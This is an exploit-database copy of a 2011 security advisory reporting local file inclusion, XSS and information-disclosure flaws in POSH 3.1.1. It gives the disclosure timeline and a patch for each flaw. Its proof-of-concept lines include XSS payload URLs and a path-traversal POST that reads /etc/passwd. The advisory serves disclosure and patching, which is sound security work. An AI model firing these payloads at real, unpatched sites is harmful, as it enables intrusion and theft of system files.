Lucene search
K

POSH Multiple Vulnerabilities

🗓️ 09 Oct 2011 00:00:00Reported by CrashfrType 
zdt
 zdt
🔗 0day.today👁 25 Views

POSH 3.1.1 Multiple Vulnerabilities. Local File Inclusion, Cross-Site Scripting (XSS), Information Disclosur

Code
# Exploit Title: POSH <= 3.1.1 Multiple Vulnerabilities
# Date: 10/10/2011
# Author: CrashFr
# Software Link: http://sourceforge.net/projects/posh/
# Version: 3.1.1
# Tested on: Linux
#
 
 
//----- Advisory
 
Program          : POSH 3.1.1 and prior
Vendor           : www.portaneo.com
Homepage         : http://sourceforge.net/projects/posh/
Discovery        : 2011/09/19
Author Contacted : 2011/09/20
Found by         : CrashFr
This Advisory    : CrashFr
 
//----- Application description
 
 
POSH (Portaneo Open Source Homepage) is a personalizable interface (Netvibes, iGoogle) that can be used in a web application or educational / enterprise intranet context. Enterprise version adds social network, notebooks and search feature.
 
 
//----- Description of vulnerability
 
 
Local File Inclusion, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within POSH version 3.1.1
 
 
//----- Proof Of Concept
 
 
--- Information disclosure ---
- http://localhost/posh/portal/login.php?lang=fr-en
    - Vulnerability at includes/sessions.inc.php
        Replace:
        if (    preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) {
            $_SESSION['lang'] = $_GET["lang"];
        By:
        if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
            $_SESSION['lang'] = $_GET["lang"];
 
 
--- XSS ---
- http://localhost/posh/portal/login.php?message=XSS%20Catched%20!%22%29%29;alert%28%22XSS%22%29;//
    - Vulnerability at: templates/default/login.php line 42
        Replace: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.$message.'"));</script></font><br /><br />';
        By: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.htmlspecialchars($message).'"));</script></font><br /><br />';
 
- http://localhost/posh/admin/login.php?extid=ok%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
    - Vulnerability at: templates/default/login_adminsimplified.php line 93
        Replace: <input type="hidden" name="extid" maxlength="16" value="<?php echo $extid; ?>" class="thinbox" />
        By: <input type="hidden" name="extid" maxlength="16" value="<?php if(is_int($extid)){ echo $extid; } ?>" class="thinbox" />
- http://localhost/posh/admin/index.php?extid=1%29;alert%28%27XSS%27
    - Vulnerability at: templates/default/index_adminsimplified.php line 67 and 70
        Replace: $p.admin.widgets.loadModExtId(<?php echo $extid; ?>);
        By: $p.admin.widgets.loadModExtId(<?php if(is_int($extid)){ echo $extid; } ?>);
        Replace: $p.admin.widgets.refreshIcons(icon,<?php echo $extid; ?>);
        By: $p.admin.widgets.refreshIcons(icon,<?php if(is_int($extid)){ echo $extid; } ?>);
 
 
--- Local File Inclusion ---
- http://localhost/posh/portal/scr_changelang.php => POST lang=../../../../../../etc/passwd%00
    POST http://localhost/posh/portal/scr_changelang.php HTTP/1.1
    lang=../../../../../../../../../../../../../../../../etc/passwd%00
     
    - Call http://localhost/posh/portal/moduleff.php for example to see the result (a lot of page use __LANG to include lang file)
    - Vulnerability at portal/scr_changelang.php line 67
        Replace: $_SESSION['lang']=$lang;
        By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
            $_SESSION['lang']=$lang;
            }
 
 
//----- Solution
 
Apply patchs
Upgrade POSH to 3.1.2
 
 
//----- Vulnerability Timeline
  
2011-09-20 - Reported to vendor
2011-09-21 - Vendor Reply
2011-09-25 - Vendor released POSH 3.1.2
2011-10-10 - Vulnerability Disclosed



#  0day.today [2018-01-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation